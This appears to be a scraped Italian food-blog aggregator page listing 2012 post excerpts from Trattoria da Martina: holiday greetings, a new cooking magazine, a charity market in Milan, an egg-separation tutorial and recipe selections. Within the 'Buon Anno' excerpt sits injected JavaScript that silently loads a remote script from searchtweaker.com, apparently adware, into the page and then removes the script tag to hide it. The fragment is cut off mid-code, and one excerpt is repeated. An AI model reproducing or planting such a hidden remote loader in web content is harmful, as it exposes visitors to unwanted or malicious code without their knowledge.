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mEating Piceno: il mio viaggio enogastronomico attraverso le Marche picene.
Buon Anno
31 dicembre 2012 - Fonte: http://www.trattoriadamartina.com/
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}};......
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Trattoria da Martina e una nuova rivista
7 dicembre 2012 - Fonte: http://www.trattoriadamartina.com/
Oggi post doppio. Normalmente non sono solita pubblicare due post in una giornata, ma oggi c'è un'occasione particolare per farlo e così insieme ai savoiardi di de Riso vi parlo anche di una nuova rivista...Avevo già pubblicato sulla mia pagina fb un post in cui ne parlavo. La rivista in questione si chiama Q.B. In cucina quantobasta, un mensile di 98 pagine ricco di ricette alla portata di tutti, ma originali e particolari, alcune corredate anche da foto passo passo.
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Oggi, se siete o passate da Milano…
25 novembre 2012 - Fonte: http://www.trattoriadamartina.com/
fate un salto al Mercatino solidale sul Naviglio Grande,
all’angolo tra viale Gorizia e Ripa Porta
Ticinese dalle 9 alle 17 e trovere un ricco buffet di decorazioni natalizie fatte con cura e amore da tante foodblogger per aiutare il progetto Io non mangio da solo.
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L’autunno in qualche scatto
4 novembre 2012 - Fonte: http://www.trattoriadamartina.com/
Buona domenica d’autunno!
7 ottobre 2012 - Fonte: http://www.trattoriadamartina.com/
Per fortuna qui abbiamo ancora un clima mite e sole, ma l'Autunno è ormai arrivato in diverse città, quindi...Buona domenica....d'autunno!......
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Separare il tuorlo dall’albume con una tecnica infallibile: video tutorial
25 settembre 2012 - Fonte: http://www.trattoriadamartina.com/
Oggi, va così, niente ricetta. Oggi un video che mostra un tecnica particolare di separare il tuorlo dall'lbume in poche e semlici mosse....Mi sembrava una cosa simpatica e allora ho pensato di farci un tutorial che spero vi piaccia...Io l'avevo visto a mmia volta su un video giapponese di youtube, ma mi piaceva l'idea di fare uan mia versione....Spero vi piaccia e...Buona visione.
Un'unica raccomandazione, che vale però per qualsiasi tecnica usiate: usate uova fresche perchè le uova invecchiando diventano più liquide e il tuorlo è meno compatto; è quindi difficile separarli.
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Un'unica raccomandazione, che vale però per qualsiasi tecnica usiate: usate uova fresche perchè le uova invecchiando diventano più liquide e il tuorlo è meno compatto; è quindi difficile separarli.
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Chiuso per ferie…
8 agosto 2012 - Fonte: http://www.trattoriadamartina.com/
Bread selection e una buona domenica a tutti
20 maggio 2012 - Fonte: http://www.trattoriadamartina.com/
Come di consueto in queste ultime domeniche pubblico una selezione di ricette accomunate da un tema comunque...Normalmente era il colore...Oggi invece vi do una selezione di vecchie ricette di pane...Buon pane e buona domenica a tutti!
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Red selection e auguri a tutte le mamme!
13 maggio 2012 - Fonte: http://www.trattoriadamartina.com/
E anche questa domenica una selezione delle mie ricette, questa volta in rosso...
Partendo dall'alto a sinistra e procedendo......
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